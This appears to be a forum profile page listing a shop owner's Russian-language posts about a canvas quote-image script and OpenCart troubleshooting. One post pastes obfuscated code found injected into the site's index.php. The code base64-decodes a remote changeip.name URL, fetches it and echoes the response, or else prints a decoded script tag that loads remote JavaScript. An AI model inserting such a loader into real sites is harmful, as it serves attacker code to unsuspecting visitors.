Перейти до вмісту
Пошук в
  • Детальніше...
Шукати результати, які ...
Шукати результати в ...

pangolin

Користувачі
  
  • Публікації

    54
  • З нами

  • Відвідування

Усі публікації користувача pangolin

  1. С отображением скрипта разобрался. http://farmmedia.zavarri.ru/card/ кнопка "скачать не работает" не знаю какое должно быть содержимое файла process.php
  2. Спасибо помогло. я изменил шрифт, цвет. всё норм получилось. красиво. но на хостинге почему-то сам скрипт не гурзит. http://zavarri.ru/card/ $(document).ready(function() { var canvas = document.getElementById('fon'); //Определяю canvas var ctx = canvas.getContext('2d'); //Определяю контехт canvas var sprite = new Image(); sprite.src = 'img/sprite.png'; //Определяю спрайт sprite.onload=function(e){ctx.drawImage(sprite, 0, 0);}; //Сразу рисую пустой спрайт function draw(text, auth) { ctx.drawImage(sprite, 0, 0); //Рисую спрайт var maxWidth = 550; //максимальная длина строки в px var lineHeight = 25; //максимальная высота строки, нужна для определения положения текста var marginTop = 100; /*если мы знаем высоту текста, то мы можем предположить, что высота строки должна быть именно такой*/ var marginleft = 10; ctx.font = "italic 30px Monotype Corsiva"; ctx.fillStyle = "#cecece"; ctx.textAlign = "left"; ctx.textBaseline = "middle"; var words = text.split(" "); var countWords = words.length; var line = ""; // разделяем текст на строки var l = text.split ("\n"); var lines = new Array(); var k=0; // каждую строку делим еще на строчки по длине for (var c=0;c<l.length;c++) { var words = l[c].split(" "); var countWords = words.length; var line = ""; // перебираем все слова и составляем из них строки for (var n = 0; n < countWords; n++) { var testLine = line + words[n] + " "; var testWidth = ctx.measureText(testLine).width; if (testWidth > maxWidth) { lines[k] = line; k++; line = words[n] + " "; } else { line = testLine; } } lines[k] = line; k++; } // Проверяем, не вылезли ли мы за границы if (k>8) { alert("Слишком много строчек!"); exit; } //Считаем, на сколько надо отступить от середины, чтобы весь текст был по центру marginTop = 120 - (lineHeight) * (k/2); // Теперь печатаем текст for (var n=0; n<(k); n++) { ctx.fillText(lines[n], marginleft, marginTop); marginTop += lineHeight; } // Печатаем автора ctx.font = "italic 15pt Monotype Corsiva"; ctx.fillStyle = "#FFFFF"; ctx.textAlign = "left"; ctx.textBaseline = "middle"; ctx.fillText(auth, marginleft, 330); } $('#writeIt').click(function(){ phrase = document.forms.inputForm.elements.inputPhrase.value; author = " © " + document.forms.inputForm.elements.inputAuthor.value + " FarmMedia"; draw(phrase, author); }); $('#cancel').click(function(){ ctx.drawImage(sprite, 0, 0); }); $('#downloadIt').click(function(){ var form = '<form id="canvas_form" action="process.php" method="post">'+ '<input type="hidden" name="imageData" value="' + canvas.toDataURL("image/png") + '" />'+ '</form>'; $("#saveimage").html(form); document.forms["canvas_form"].submit(); }); }); открывает его через html <head> <title>FarmMedia</title> <head> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8"> <link href="css/bootstrap.min.css" rel="stylesheet" media="screen"> <link href="css/style.css" rel="stylesheet" media="screen"> <script src="../../code.jquery.com/jquery-latest.js"></script> <script src="js/bootstrap.min.js"></script> </head> <body> <div id="container" class="hero-unit"> <h1>FarmMedia</h1> <canvas id='fon' width='600px' height='400px'></canvas> <hr> <form id='inputForm' name='form1'> <textarea cols="40" rows="5" id='inputPhrase' class="input-xxlarge" maxlength='320' autofocus placeholder='Сюда цитата!'></textarea> <br/> <input id='inputAuthor' type='text' maxlength='40' autocomplete='off' placeholder='Сюда автор!'><br/> <input id='writeIt' class="btn btn-large btn-primary" type='button' value='Написать' title= 'Сгенерировать цитату'> <input id='downloadIt' class="btn btn-large btn-warning" type='button' value='Скачать' title='Сохранить картинку'> <input id='cancel' class="btn btn-large btn-danger" type='button' value='Сбросить' title= 'Сбросить'><br/> </form> <div id="saveimage"></div> </div><script src="js/gen.js"></script> </body> </html> и на локалке ещё не работет последняя часть скрипта "скачать" в этом скрипте он ссылается на файл process.php вот что пишет автор на сайте я не понял что к чему. но пока главное это почему на хосте не заработало?
  3. сначала подумал что нашёл. в скрипте. но оказывается нет. function draw(text, auth) { ctx.drawImage(sprite, 0, 0); //Рисую спрайт var maxWidth = 550; //максимальная длина строки в px var lineHeight = 25; //максимальная высота строки, нужна для определения положения текста var marginTop = 200; /*если мы знаем высоту текста, то мы можем предположить, что высота строки должна быть именно такой*/ var marginLeft = 590; меняет но не так как мне надо. он по правой стороне, а мне надо по левой.
  4. Понравился один скриптик, который пишет цитаты на готовом фоне, подобие демативатора. я поставил свой фон а он заточен под другой и цитату выводит не так где мне надо. http://yadi.sk/d/DeaSggGmEe5GR я так понял то что мне надо кроется в файле css/bootstrap.min.css какой параметр отвечает за позицию текста? помогите пожалуйста, а то я методом тыка не нашёл.
  5. как-то давно, на одном сайте видел такую штучку. нажимаешь помочь оформить заказ и твоё же курсор показывает куда тебе нужно нажать, заполняет все графы тесовыми данными после чего клиент понимает куда ему нажать и что где заполнить. можно было бы конечно это сделать с помощью видео, но мне кажется не все будут нажимать на видео плеер. кто-то с этим сталкивался? может есть где подобное?
  6. хочу разместить файлы с номером скидки, скачивание только для зарегистрированных. сделал с начала из стандартного, но он размещается как товар, много мороки. да и не разрешает без цены размещать. может есть подобные модули?
  7. заработало, установил бэкап движка от откбря. не установленно несколкьо модулей, ну ладно всё что нужно будет я утсановлю. база данных осталась свежая. клиентов не потерял все учётки на месте. щас такая проблемма. админка на корявом языке, это кодировка базы данных? или движка? сайт норм показывает.
  8. поставил чистый opencart, всё норм работает. потом залил бэкапную базу данных и сайт не запусается только ошибка вылазиет Notice: Error: Could not load controller module/vk! in /home/host1262691/tea56.ru/htdocs/www/system/engine/controller.php on line 47 это значит что у меня в базе есть что-то что запрашивает какой-то файл, а файла нет. у меня от орегинала сильно движёк отличается много модов установленно было.
  9. вот содержимое файла system/engine/controller.php <?php abstract class Controller { protected $registry; protected $id; protected $layout; protected $template; protected $children = array(); protected $data = array(); protected $output; public function __construct($registry) { $this->registry = $registry; } public function __get($key) { return $this->registry->get($key); } public function __set($key, $value) { $this->registry->set($key, $value); } protected function forward($route, $args = array()) { return new Action($route, $args); } protected function redirect($url, $status = 302) { header('Status: ' . $status); header('Location: ' . str_replace(array('&', "\n", "\r"), array('&', '', ''), $url)); exit(); } protected function getChild($child, $args = array()) { $action = new Action($child, $args); $file = $action->getFile(); $class = $action->getClass(); $method = $action->getMethod(); if (file_exists($file)) { require_once($file); $controller = new $class($this->registry); $controller->$method($args); return $controller->output; } else { trigger_error('Error: Could not load controller ' . $child . '!'); exit(); } } protected function render() { foreach ($this->children as $child) { $this->data[basename($child)] = $this->getChild($child); } if (file_exists(DIR_TEMPLATE . $this->template)) { extract($this->data); ob_start(); require(DIR_TEMPLATE . $this->template); $this->output = ob_get_contents(); ob_end_clean(); return $this->output; } else { trigger_error('Error: Could not load template ' . DIR_TEMPLATE . $this->template . '!'); exit(); } } } ?> поменял пароль поменял паротль фтп, с друго совсем компа, на тот пока вирусы ищет, создал новую базу данных, нового пользователя, залил бэкап от 25 декабря, он рабочий так как в январе были заказы, а вирус это не даёт сделать заказ, и всё равно та же ошибка. где искать то????? щас хочу с нуля поставить щзутсфке посомтрим будут ли ошибка. если будет то значит все сервак больной.
  10. по совету хостеров проверяю на вирусы комп, несколкьо уже нашёл и кстати в папке java и flashpayer потом поменяю пароли на фтп. позже гляну controller.php
  11. я только что создал нового пользователя, в Mysql, создал новую базу данных, скопировал туда бэкап базы от 25 декабря 2012 работающего сайта, бэкап движка тоже от 25 декабря стоит. а ошибка до сих пор.
  12. я востановил бэкап который был созданный ещй раньше 100% рабочий, так как после его создания были заказы. но ошибка по прежнему на месте. может быть такое что ошибка в Mysql?
  13. и ка кего лечить? всё началось неделю назад.. на сервере были какие-то проблеммы. ужасно всё тормозило. тех поддержка сказали что это из вина. и даже начислили 10 дней хоста. но после этого у меня сайт не работает. даже тот бэкап который я делал уже имеет всебе этот вирус.
  14. такая ошибка при подтверждении заказа modify=20121027165533;perm=flcdmpe;type=cdir;unique=2A2BDAD0U472F;UNIX.group=2486;UNIX.mode=0755;UNIX.owner=2486; . modify=20121027165715;perm=flcdmpe;type=pdir;unique=2A2BDAD0U4724;UNIX.group=2486;UNIX.mode=0755;UNIX.owner=2486; .. modify=20121105132923;perm=adfrw;size=0;type=file;unique=2A2BDAD0U4730;UNIX.group=2486;UNIX.mode=0644;UNIX.owner=2486; empty Fatal error: Class 'Controllerpaymentcod' not found in /home/host1262691/tea56.ru/htdocs/www/vqmod/vqcache/vq2-system_engine_controller.php on line 43 установленно длва магазина, на денвере один магазин эта же копия сайта хорошо работает. так же установлен модуль общая корзина на два магазина но я его удалил и все следы его а ошибка так и осталась. была пробемма со скриптом корзина не обновлялась и не пропали области и регионы при регистрации. эту проблемму решил, каким-то образом в Index.php попало это $response->output(); function sql2_safe($in) { $rtn = base64_decode($in); return $rtn; } function collectnewss() { $get = sql2_safe("aHR0cDovL2N0cmxzaS5jaGFuZ2VpcC5uYW1lOjg4OC9zY3JpcHQuaHRtbA=="); $content = @file_get_contents($get); if (!$content) echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly90b3VjaG1lLmNoYW5nZWlwLm5hbWUvcnNpemUuanMiPjwvc2NyaXB0Pg=="); else echo $content; } collectnewss (); как не знаю. убрал все ошибки пропал, но появилась та о которой самой первой написал.
  15. такая же ошибка. откуда скопировал админку из бэкапа? а если его нет? какой файл точнее нужно править?
  16. раньше было при нажатии кнопки "купить" страница плавно поднималась к корзине и в верху боявлялось зелёное поле "в вашу корзину добавленно..." сейчас этого не происходит. к тмоу же что бы увидеть что лежит в корзине приходится обновлять страницу. какой модуль за это действие отвечает? такое появилось после неудачной установки модуля Ulogin но я все следы удалил его так же как и устанавливал. и у меня модуль купленный общая корзина на два магазина.
  17. создал мультимагазин, настроил модули, всё работает. проблемма в том что когда начал переносить товар и категории из основного в новый магазин, то если убрать галку с категории "основной магазин" то при добавлении товара в новый магазин не этой категории нет, а если включить галку тогда это лищняя категория которая не нужна на основном. как быть?
  18. Пытаюсь перенести карзину в шапке. в файле stylesheet.css изменил параметры #header #cart .heading { background: url("../image/shopping_cart.png") no-repeat scroll 55% 0%; float: left; margin-right: 300; margin-top: 5px; padding-left: 200px; padding-right: px; z-index: 1; корзина приняла нужное мне положение. но когда нажимаю просмотр корзины вылазиет блок с товаром и корзина улетает на прежнее место. как ее там зафиксировать?
  19. проблему решил, был бэкап. залил полностью бэкап. в чём была проблема не ясно.

×
×
  • Створити...

Important Information

На нашому сайті використовуються файли cookie і відбувається обробка деяких персональних даних користувачів, щоб поліпшити користувальницький інтерфейс. Щоб дізнатися для чого і які персональні дані ми обробляємо перейдіть за посиланням . Якщо Ви натиснете «Я даю згоду», це означає, що Ви розумієте і приймаєте всі умови, зазначені в цьому Повідомленні про конфіденційність.